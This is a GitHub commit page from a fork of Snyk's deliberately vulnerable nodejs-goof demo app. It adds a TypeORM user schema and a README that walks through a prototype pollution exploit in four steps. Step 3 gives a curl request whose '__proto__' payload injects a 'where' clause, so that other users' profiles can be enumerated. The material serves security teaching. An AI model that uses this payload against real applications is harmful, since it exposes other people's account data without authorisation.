forked from snyk-labs/nodejs-goof
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: add prototype pollution exploit in typeorm (snyk-labs#784)
* feat: add prototype pollution exploit in typeorm * fix: container and db setup
- Loading branch information
Showing
10 changed files
with
896 additions
and
99 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
module.exports = { | ||
name: "Users", | ||
columns: { | ||
id: { | ||
primary: true, | ||
type: "int", | ||
generated: true | ||
}, | ||
name: { | ||
type: "varchar" | ||
}, | ||
address: { | ||
type: "varchar" | ||
}, | ||
role: { | ||
type: "varchar" | ||
} | ||
} | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
# Prototype Pollution in TypeORM | ||
|
||
Prototype Pollution in TypeORM can lead to SQL Injection attacks in both MongoDB and MySQL types of databases, as well as Denial of Service or escalate to other types of attacks for a vulnerable Node.js web application. | ||
|
||
## Requirements | ||
|
||
You'll need a MySQL server running. Try this: | ||
|
||
```sh | ||
# use mysql:5 as that still supports the good old native password mechanism to login | ||
# and keep things simple for the demo | ||
docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5 | ||
``` | ||
|
||
Create the dummy `acme` database: | ||
```sh | ||
create database acme; | ||
``` | ||
|
||
For the MySQL client (to browse database records and such): | ||
```sh | ||
docker exec -it mysqld mysql -uroot -p | ||
``` | ||
|
||
## Setup | ||
|
||
The root file `./typeorm-db.js` gets called when the app starts and seeds the database with 2 sample users. | ||
|
||
## Exploit scenario | ||
|
||
### Step 1 - Normal request | ||
|
||
You can create new users via POST /users | ||
|
||
```sh | ||
curl --request POST \ | ||
--url http://localhost:3001/users \ | ||
--header 'content-type: application/json' \ | ||
--data '{ | ||
"name": "a", | ||
"address": "vvv", | ||
"role": "user" | ||
}' | ||
``` | ||
|
||
### Step 2 - A request to get your own profile | ||
|
||
A request to get your own profile always results in your own user (right now hard-coded with id:1) | ||
|
||
```sh | ||
curl --request GET \ | ||
--url http://localhost:3001/users \ | ||
--header 'content-type: application/json' | ||
``` | ||
|
||
### Step 3 - Poison the Object's prototype | ||
|
||
We now send a request that creates a user, but poison the prototype chain through an insecure | ||
merge of objects that happens within TypeORM's code, and results in `Object` having a `where` object property. | ||
|
||
```sh | ||
curl --request POST \ | ||
--url http://localhost:3001/users \ | ||
--header 'content-type: application/json' \ | ||
--data '{ | ||
"name": "a", | ||
"address": { | ||
"__proto__": { | ||
"where": { | ||
"id": "2", | ||
"where": null | ||
} | ||
} | ||
} | ||
}' | ||
``` | ||
|
||
### Step 4 - Fetch your profile again | ||
|
||
Now go back to Step 1 and fetch the user profile again. | ||
Now you get profile 2 instead of the hard-code profile id 1. Why does it happen? | ||
Because with TypeORM's `where` clause takes precendence over the `id` specifier and we're now able to enumerate and get every account id we want. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.